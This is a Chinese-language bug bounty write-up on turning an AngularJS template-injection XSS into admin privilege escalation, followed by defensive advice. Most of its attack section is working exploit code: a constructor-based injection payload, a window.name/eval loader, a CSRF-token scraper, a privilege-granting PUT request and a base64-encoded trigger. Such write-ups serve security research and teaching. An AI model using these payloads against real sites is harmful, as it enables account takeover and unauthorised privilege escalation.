Bug Bounty:利用基于AngularJS的XSS进行权限提升
字数 1214 2025-08-26 22:11:40
利用基于AngularJS的XSS进行权限提升 - 技术分析文档
1. 漏洞背景
本文档详细分析了一个基于AngularJS的XSS漏洞如何被用于权限提升的实际案例。攻击者通过精心构造的XSS攻击链,成功将普通用户权限提升至管理员权限。
2. 漏洞发现
2.1 目标环境
- 目标系统:基于AngularJS的Web应用
- 漏洞位置:用户个人资料页面(
https://www.site.com/users/username-here) - 受影响功能:用户名显示功能
2.2 初步测试
- 传统XSS测试:
">被过滤 - 特殊字符被正确过滤,传统XSS攻击无效
- 尝试AngularJS注入:
{{constructor.constructor('alert(1)')()}}成功
3. 漏洞利用技术
3.1 利用限制
- 用户名字段长度限制严格
- 无法注入引用外部JS的
<script>标签 - 恶意内容会显示在个人资料页面
3.2 关键技术:window.name技术
- 使用
window.name存储payload - 通过
eval(atob(top.name))执行payload - 优势:
- 绕过长度限制
- 绕过恶意验证检查
- payload不直接出现在易受攻击的应用程序中
3.3 攻击流程
- 构造恶意payload并进行Base64编码
- 使用
window.open(url,"window name here")设置窗口名称 - 通过
eval(atob(window.name))执行编码后的payload
4. 权限提升分析
4.1 目标功能
- 管理员可修改用户权限
- 关键参数:
csc=1(授予完全权限)
4.2 权限提升请求示例
POST /users/attackers-username HTTP/1.1
Host: vulnerablesite.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
_method=PUT&_token=CSRF_TOKEN_HERE&name=USERNAME&email=USER_EMAIL&phone=&csc=1
4.3 CSRF令牌获取
- 可能位置:
- Cookie (
document.cookie) - Meta标签 (
<meta name="CSRF_TOKEN" content="TOKEN_HERE">)
- Cookie (
- 获取方法:
fetch('https://vulnerablesite.com/settings',{credentials: 'include'}) .then((resp) => resp.text()) .then(function(data){ woot.innerHTML=data; var csrf_token = woot.getElementsByTagName('meta')[3]['content']; });
5. 完整攻击代码
5.1 权限提升函数
function privilege_escalate(){
var req = new XMLHttpRequest();
req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}
5.2 完整利用代码
var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'})
.then((resp) => resp.text())
.then(function(data){
woot.innerHTML=data;
var csrf_token = woot.getElementsByTagName('meta')[3]['content'];
privilege_escalate();
function privilege_escalate(){
var req = new XMLHttpRequest();
req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1');
}
});
5.3 攻击触发方式
<script>
window.open(
'https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',
'dmFyIHdvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdodG1sJyk7CmZldGNoKCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS9zZXR0aW5ncycse2NyZWRlbnRpYWxzOiAnaW5jbHVkZSd9KS50aGVuKChyZXNwKSA9PiByZXNwLnRleHQoKSkudGhlbihmdW5jdGlvbihkYXRhKXsKCndvb3QuaW5uZXJIVE1MPWRhdGE7CnZhciBjc3JmX3Rva2VuID0gd29vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzNdWydjb250ZW50J107CnByaXZpbGVnZV9lc2NhbGF0ZSgpOwoKZnVuY3Rpb24gcHJpdmlsZWdlX2VzY2FsYXRlKCl7CnZhciByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKcmVxLm9wZW4oJ1BPU1QnLCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS91c2Vycy9tcnMtY2FteWxsZS1rZXJ0em1hemV2YWx3aW5kb3duYW1lJyx0cnVlKTsKcmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7CnJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7IApyZXEuc2VuZCgnX21ldGhvZD1QVVQmX3Rva2VuPScrY3NyZl90b2tlbisnJm5hbWU9TXJzLitDYW15bGxlK0tlcnR6bWF6JTdCJTdCZXZhbCUyOHdpbmRvdy5uYW1lJTI5JTdEJTdEJmVtYWlsPXVzZXIlNDBleGFtcGxlLm9yZyZwaG9uZT0mY3NjPTEnKTsKfQoKfQop'
)
</script>
6. 防御建议
6.1 输入过滤
- 对所有用户输入进行严格过滤
- 特别注意AngularJS特有的注入方式
6.2 输出编码
- 对所有动态内容进行适当的HTML编码
- 使用安全的模板引擎
6.3 其他防护措施
- 实施内容安全策略(CSP)
- 使用HttpOnly和Secure标志设置Cookie
- 对敏感操作实施双重认证
- 限制用户权限修改功能的访问
- 定期进行安全审计和渗透测试
7. 总结
本案例展示了:
- 传统XSS防护措施可能不足以防御框架特定的攻击
- 利用window.name技术可以绕过多种防护限制
- XSS漏洞可能导致严重的权限提升问题
- 安全测试应尝试多种攻击向量,不局限于传统方法
安全研究人员应:
- 深入了解目标应用使用的技术栈
- 尝试非传统的攻击方法
- 关注漏洞的实际影响而不仅仅是证明漏洞存在